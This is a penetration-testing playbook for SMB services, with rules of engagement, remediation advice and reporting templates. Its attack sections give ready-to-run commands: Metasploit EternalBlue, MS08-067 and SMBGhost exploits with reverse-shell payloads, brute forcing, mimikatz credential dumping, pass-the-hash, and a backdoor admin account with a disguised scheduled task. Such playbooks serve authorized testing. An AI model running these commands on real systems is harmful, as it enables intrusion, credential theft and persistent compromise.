

SMB Penetration Test

Target / Scope: `target.com` / `X.X.X.X` (SMB service)

Service: SMB / CIFS — Default TCP ports **139, 445**

Date: 2025-10-25

1. Executive Summary

This document is a practical penetration testing playbook for assessing SMB (Server Message Block) services. It covers discovery, enumeration, attack vectors (null sessions, SMB signing, brute force, CVE exploitation), post-exploitation techniques (credential harvesting, lateral movement), evidence collection, risk assessment, and remediation guidance.

Key takeaways:

- SMB commonly exposes sensitive files and credential material when misconfigured or when default/weak credentials are used.
 - Lack of SMB signing and legacy authentication can enable man-in-the-middle and relay attacks.
 - Known SMB vulnerabilities (MS08-067, MS17-010, SMBGhost) remain high-impact if unpatched.
-

2. Rules of Engagement & Legal

- **Authorization:** Only proceed with explicit written permission that lists targets, allowed techniques, and time windows.
- **Non-destructive testing:** Avoid destructive payloads unless authorized.
- **Logging & evidence:** Capture timestamps, tool versions, and sanitized outputs.

Pre-test checklist:

- Signed authorization and scope.

- Contact for emergency stop.
 - List of approved exploits and acceptable post-exploitation actions.
-

3. Reconnaissance

3.1 Service Discovery

Confirm SMB availability using nmap and service/version detection.

```
# Basic port scan
nmap -p 139,445 X.X.X.X

# Service/version detection and OS fingerprint
nmap -sV -p 139,445 X.X.X.X
```

3.2 Banner & Protocol Detection

Gather protocol details and capabilities.

```
# Check supported dialects and protocol versions
nmap --script smb-protocols -p 445 X.X.X.X

# Security mode (signing status)
nmap -p 445 --script smb-security-mode X.X.X.X
```

4. Enumeration

4.1 Share Enumeration

Identify accessible shares and permissions.

```
# List shares anonymously
smbclient -L //X.X.X.X -U anonymous

# With credentials
```

```
smbclient -L //X.X.X.X -U user%password
```

```
# Using smbmap
```

```
smbmap -H X.X.X.X
```

```
smbmap -H X.X.X.X -u user -p pass
```

4.2 User, Group & Policy Enumeration

Retrieve user lists, group memberships, and policies.

```
enum4linux -a X.X.X.X
```

```
enum4linux -U X.X.X.X
```

```
enum4linux -G X.X.X.X
```

```
enum4linux -P X.X.X.X
```

Nmap scripts for enumerating shares/users:

```
nmap -p 445 --script=smb-enum-shares,smb-enum-users X.X.X.X
```

4.3 Null Sessions

Test for unauthenticated (null) sessions which can leak information.

```
rpcclient -U "" X.X.X.X
```

```
smbclient -L //X.X.X.X -N
```

```
smbmap -H X.X.X.X -u "" -p ""
```

4.4 SMB Signing & Relay Potential

Check whether SMB signing is required and evaluate relay susceptibility.

```
# Check signing
```

```
nmap --script smb-security-mode -p 445 X.X.X.X
```

```
# Test client-side signing behavior (smbclient)
smbclient -L //X.X.X.X -U user%pass --option='client signing=off'
```

5. Attack Vectors

5.1 Credential Attacks (Brute Force & Credential Stuffing)

Use Hydra, Nmap NSE, or Metasploit to test credential strength. Respect lockout policies and rate-limit attempts.

```
# Hydra brute force
hydra -L users.txt -P passwords.txt smb://X.X.X.X

# Nmap brute force
nmap -p 445 --script smb-brute X.X.X.X

# Metasploit module\ nuse auxiliary/scanner/smb/smb_login
set RHOSTS X.X.X.X
set USER_FILE users.txt
set PASS_FILE passwords.txt
set STOP_ON_SUCCESS true
exploit
```

5.2 NTLM Relay & SMB Relay Attacks

If SMB signing is disabled, NTLM relay tools (e.g., mitm6, ntlmrelayx) can relay authentication to other services.

Mitigations: enable SMB signing and enforce SMBv2+/SMBv3; restrict NTLM usage via GPOs.

5.3 Vulnerability Exploits (MS08-067, MS17-010, SMBGhost)

Test for known CVEs when systems are in-scope and authorized.

```
# MS08-067 (netapi)
use exploit/windows/smb/ms08_067_netapi
```

```
set RHOSTS X.X.X.X
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

```
# MS17-010 (EternalBlue)
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS X.X.X.X
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

```
# SMBGhost
use exploit/windows/smb/cve_2020_0796_smbghost
set RHOSTS X.X.X.X
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST attacker-ip
exploit
```

Notes: test these only with explicit permission and preferably on isolated targets.

5.4 Lateral Movement & Pass-the-Hash

Use harvested hashes to move laterally and execute commands on other hosts.

```
pth-winexe -U domain/username%hash //another-host cmd
wmic /node:another-host.com /user:username /password:password process
call create "cmd.exe"
```

6. Post-Exploitation

6.1 Credential Harvesting

Extract credentials using tools like `secretsdump.py`, `mimikatz`, or Meterpreter post modules.

```
# secretsdump (impacket)
secretsdump.py domain/user:password@X.X.X.X
```

```
# Mimikatz (interactive)
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
```

```
# Meterpreter hash/credential dumps
use post/windows/gather/smart_hashdump
exploit
```

6.2 SAM & SYSTEM Extraction

Collect SAM and SYSTEM hives for offline cracking.

```
# Using reg (Windows)
reg save HKLM\SAM C:\Windows\Temp\sam
reg save HKLM\SYSTEM C:\Windows\Temp\system
```

6.3 Persistence & Privilege Escalation

Create local accounts, scheduled tasks, or backdoor services where authorized.

```
net user backdoor P@ssw0rd123! /add
net localgroup administrators backdoor /add
schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /
sc onlogon /ru SYSTEM
```

Privilege escalation tools: winPEAS, PowerUp, Sherlock, and manual checks (SUID equivalents on Windows, weak service permissions, unquoted service paths).

6.4 Data Exfiltration

Access and download files from accessible SMB shares.

```
smbclient //X.X.X.X/sharename -U user%pass
> get sensitive_file.zip
```

```
smbget -R smb://X.X.X.X/sharename/ -U user%pass
smbmap -H X.X.X.X -u user -p pass -R sharename
```

7. Evidence & Reporting Templates

7.1 Finding Template Example

- **Title:** Weak SMB authentication + exposed shares
- **Severity:** High
- **Affected Host:** X.X.X.X:445
- **Finding:** Shares `\X.X.X.X\backups` and `\X.X.X.X\db_dumps` are readable by unauthenticated users.
- **Proof:** `smbclient -L` output, downloaded file hashes, timestamps.
- **Impact:** Exposure of credentials, internal configuration, potential for lateral movement.
- **Recommendation:** Restrict share ACLs, disable anonymous access, and enable logging and monitoring.

7.2 Evidence Snippet

Include commands with timestamps and sanitized outputs.

```
# 2025-10-25 11:03:21
$ smbclient -L //X.X.X.X -N
Sharename      Type      Comment
-----
backups        Disk      Backup Share
IPC$           IPC       Remote IPC
```

8. Risk Assessment & Severity Guidance

- **Critical:** Unpatched SMB with remote code execution (EternalBlue/SMBGhost) or writable webroot via SMB exposing RCE.
 - **High:** Exposed sensitive shares, credential dumps, or successful NTLM relay enabling domain takeover.
 - **Medium:** Null sessions, weak permissions, or SMB signing disabled without immediate credential exposure.
 - **Low:** Banner/version disclosure only.
-

9. Remediation Recommendations

Immediate actions:

- Patch SMB-related CVEs and update Windows to supported versions.
- Disable SMBv1; enforce SMBv2/v3.
- Require SMB signing and NTLM restrictions.
- Restrict share permissions and disable anonymous access.
- Monitor SMB logs and configure IDS/IPS signatures for suspicious SMB activity.

Strategic:

- Implement network segmentation and least-privilege for file servers.
 - Use multifactor authentication for administrative accounts.
 - Enforce regular patching and vulnerability scanning.
-

10. Tools & Quick Commands (Reference)

Discovery:

```
nmap -p 139,445 X.X.X.X  
nmap -sV -p 139,445 X.X.X.X
```



```
nmap --script smb-protocols -p445 X.X.X.X
```

Enumeration:

```
smbclient -L //X.X.X.X -U user%pass  
smbmap -H X.X.X.X  
enum4linux -a X.X.X.X  
nmap -p 445 --script=smb-enum-shares,smb-enum-users X.X.X.X
```

Brute force:

```
hydra -L users.txt -P passwords.txt smb://X.X.X.X  
nmap -p 445 --script smb-brute X.X.X.X
```

Exploit modules (Metasploit):

- exploit/windows/smb/ms08_067_netapi
- exploit/windows/smb/ms17_010_eternalblue
- exploit/windows/smb/cve_2020_0796_smbghost

Post-exploitation:

```
secretsdump.py domain/user:password@X.X.X.X  
mimikatz.exe  
pth-winexe -U domain/user%hash //another-host cmd
```

11. Practical Testing Checklist

1. Confirm authorization and scope.
2. Scan for SMB services and versions.
3. Enumerate shares and users (anon and authenticated).
4. Check SMB signing and NTLM restrictions.
5. Test common credentials and controlled brute-force.

6. Look for null sessions and relay opportunities.
 7. If authorized, test for known CVEs in a controlled manner.
 8. Harvest credentials, test lateral movement, and document evidence.
 9. Provide remediation recommendations and re-test after fixes.
-

12. Appendix: Reporting Snippets

Short executive note:

Several SMB shares were found with weak access controls. If left unaddressed, these shares can leak sensitive business data and credentials. Immediate action: patch systems, restrict ACLs, disable anonymous access, and enable SMB signing.